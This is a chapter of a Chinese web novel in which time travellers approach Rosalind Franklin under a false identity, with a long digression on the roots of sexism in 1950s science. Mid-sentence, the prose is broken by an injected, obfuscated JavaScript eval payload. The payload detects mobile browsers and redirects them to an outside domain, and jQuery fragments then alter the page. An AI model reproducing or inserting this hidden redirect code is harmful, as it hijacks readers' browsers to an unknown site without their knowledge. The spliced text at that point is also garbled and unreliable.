白棘顿住脚步，不着痕迹地站在阿莱西亚身后不远不近的位置，让自己尽量不被注意到，一边暗自记下接下来对话的内容。
面前的罗莎琳德该是刚进行了整个通宵的工作，如今她的眉头微蹙，右手轻揉着眉心，眼神里带着审视，似乎是因为工作中贸然被打扰而感到不快。
见此情形，阿莱西亚快步上前，脸上带着微笑，略一欠身递上早已准备好的名片，同时口中自我介绍道：
"富兰克林博士？抱歉清晨打扰，我是《自然》杂志的客座编辑阿莱西亚·法米加。这位是我的朋友白棘，一位出色的仪器工程师。”
富兰克林接过名片粗略扫过，又抬头看向来人，神情中带着警惕之色，语气直接，并未有任何寒暄的意思：
“《自然》杂志？我好像没见过你们，有什么事？”
富兰克林的眼神并未过多在白棘身上停留，只重新将注意力转回面前的阿莱西亚，双眼微眯，淡色的眼眸带着审视，手中的名片被她随意瞥了一眼便丢在一旁。
思忖片刻后，罗莎琳德也并未有所发难，只是朝着阿莱西亚点头，随即礼貌地邀请二人就坐。
她似乎已经很疲惫，也不再过多客套，开门见山地对着阿莱西亚直接问道：
“你说你是《自然》杂志的客座编辑？如果是需要学术论文，那么威尔斯才是项目负责人，您该找他才对。”
阿莱西亚略微向前欠身，语气未有波澜，按照伪造身份的内容继续自我介绍着：
“不，是这样……我的朋友供职于一个由几家仪器公司资助的欧洲小型研究机构。他们正在实地测试一些处于改进阶段的样品制备辅助设备组件。兰德尔爵士知道我们的来访，并建议我们与您交流……”
她顿了顿语气，继续微笑着强调道：
“他认为您的工作对尖端设备的要求最高，反馈也最有价值。"
紧接着，她左右环视一遍确认周围再无第四个人后，对着面前这位女性科研工作者刻意压低了嗓音，状似无意地继续解释道：
"至于《自然》杂志为何找您……我听主编说，沃森团队今早提交了关于DNA型态为三螺旋结构的模型论文，但想必我们都明白，那个模型漏洞百出。
事实上，若是没有您的数据，别说是沃森，就连您口中的‘负责人’威尔斯，他们所做的一切，也都只是在搭建空中楼阁而已。"
听到阿莱西亚这句话，眼前的富兰克林如预料中那般，迅速蹙起眉头。
在此之前，她也并不是没有经历过类似这样的“权威杂志邀请”，但几乎每一次都因某些可笑的原因，最终邀请机会还是给了所谓的‘负责人’威尔斯。
这些理由里，最常见的一个就是明里暗里的性别歧视。
性别歧视是这个时代之下女性面临的巨大困境，1900年代以来，愈演愈烈的女权运动将女性自我觉醒意识推到大众视野，女性开始争取与男性同等的工作、发表意见、教育等权利。
但在当时，大多数人仍然认为女人有自己该做的事，她们该去煮茶，该待在厨房，就算有企业愿意为女性提供工作机会，也大多是些打字员或是秘书之类的工作，她们的观点就算在公众场合也很难被重视，更何况是在“需要严谨逻辑思维”的学术界。
这些现象在男权主导的社会中屡见不鲜，即使到了白棘所处的时代里，女性与男性并不享有绝对同等的工作和自由表达意见权利，也已经是一个心照不宣的事实。
男女分工问题源自原始社会，当时由于狩猎、采集、守护家园的原始需求，除少数母系社会外，主流趋势是由体力、爆发力更强的男性主导外出狩猎、防御和工具制造，由耐受力更强的女性来主导采集、育儿和营地管理。
这种分工的形成并非偶然，而是基于多种自然与社会因素共同作用的结果。
在原始社会中，男性平均肌肉量和爆发力更强，更适合高强度狩猎和战斗；女性体脂率更高，耐受力强，适应长期采集活动，同时女性因妊娠、哺乳等繁育后代的需求，所以需避免高风险活动。
经过长达万年的进化，两性通过分工来最大化族群生存概率，并通过代际教育将最适合族群繁衍的模式不断固化，同时早期宗教也常将女性与“生命创造、大地丰产”、男性与“力量征服”关联，来不断强化这种分工的合理性。
这本身是所有物种为适应环境而不断进化的产物，是由原始人类在严酷自然环境中生存繁衍时，生存需求、生理特性、环境约束与社会协作，多种因素共同塑造的适应性策略。
但是，在已经实现高度工业化、体力悬殊不再成为生产决定性因素的现代，这样的原始分工模式，却依然还深刻影响着性别在社会分工中的角色定位，并成为当代性别不平等的历史根源之一。
这种影响并非线性延续，而是通过文化惯性、经济结构变革和权力话语的相互作用，来持续塑造社会认知。
在农耕时代，由于犁耕农业需要高强度体力劳动，所以仍然由男性来主导粮食的生产，体力不占优势的女性则被排除在土地、牲畜等核心生产资料的控制权之外。
生产资料私有制之后，父系社会结构已经被固化，男性无法确定自身血脉是否正统，故而只能通过控制生产和生育权，来确保自己的财产能够被正确的血脉所继承。
不知从什么时候开始，原始狩猎所需的“冒险精神”被转化为“男性更适合领导力”，采集所需的“耐心”则对应“女性善于辅助”。
基于此，女性开始被冠以“更适合细致工作”的生物学标签，再加上父系社会不断加固“家庭天使”意识形态，更是将女性束缚于私人领域之中。
这在工业高度发展的今天，其实早就已经成了一个荒谬的悖论。
工业化早就消解了男女体力之间的差异，工业社会中获取生产资料早已不由体力强大与否来决定，至于社会意识形态下演化出来的所谓“男性主导科学/技术/工程/数学，女性主导教育/护理等关怀领域”的论调没有任何数据支持，其实并不能作为决定男女社会分工差异的判断标准，更不能以此来武断地判断一位女性是否能够从事需要脑力、逻辑能力、情绪控制能力的工作。
但在漫长的父
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16280385|141788||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
系社会演化中，绝大部分女性早已被规训成了另一种“利他”的附属品。
她们自小被灌输无需参与生产资料竞争，只需安稳度日的思想，“女性不适合从事科研、数学等工作”的观念甚至已经深深被植入到女性自己的脑海中，她们甚至不会主动去思考——
为什么？有什么数据支撑？
除此之外，从本质上来说，在长久固化形成的父系社会形态下，已经形成了一整套于男性有利的生存方式。
我们不得不承认男女生理特征的差异，但这种差异已经被固化成某些特征是“优等的”，另一些则是“劣等的”。
比如竞争、斗志、强壮、追逐，这些特质有利于男性外出狩猎，也成为父系社会中一个人是否优秀、是否能够成为领导者的判断标准，而细致、守护、耐心、同理心这些特质，在现代语境中却实在算不上强烈的正向词汇。
但其实任何特质，都没有绝对的正负优劣之分，有的只是长久以来的社会语境下，对这种特质所赋予的意义。
当女性必须在父系社会中占有一席之地，她就必须让自己成为“和男人具备同样‘优秀’特质的女人”，细致、耐心、同理心、慈爱这些被塑造成属于女性的词汇，从来不是参与社会竞争的有利特质。
所以，对于一个女性而言，除去竞争所需的基本技能之外，她还必须拥有某些“男性化”的特质，比如，她必须是果敢的、强悍的、无所畏惧的、态度强硬的。
遗憾的是，这些词天生属于男性，她必须付出更多努力，才能得到这样的“正向评价”。
但即使如此，她依然会因自己是拥有这些特质的“女性”，而遭到诟病，在某些时代更是会被直接斥责为“不像一个女性”。
就像如今站在白棘面前的罗莎琳德，她就曾被形容成一个“女学究”型的女性，更称她“从来不注意女性特质，不涂口红也不注重穿着”。
她在工作中以态度强硬、强悍、严谨、不留情面而著称，事实上这些特质在大多数科研工作者身上都能找到影子，这也促使她成为了一名优秀的科研工作者。
但当这些特质发生在一位女性科研工作者身上时，人们的态度却有了微妙的变化。
女性应该是温和的，她们不应该不留情面地指出一位男性科研工作者显而易见的错误，不应该在公共场合坚持自己的观点，甚至不应该从事这些“不适合女性的工作”。
原时间线上，由于这些心照不宣的潜规则，罗莎琳德的研究便屡屡受阻。
如今跃迁者来到这里，主神想必也不会善罢甘休，有了其他力量的干预，这样来自外界的阻力，也定是只多不少。
1950年代对于女性科学工作者本就不算是友好的研究土壤，只要利用好这一点，再加上些对于富兰克林本人性格的恶意渲染，很容易就能让这样一位严谨的科学家在学术界举步维艰。
祂只需要阻止富兰克林在DNA研究上的突破和尝试，只要在某些关键节点和人物身上稍稍推波助澜，就能达到这个目的。
这也正是跃迁者此行，需要解决的最大难题。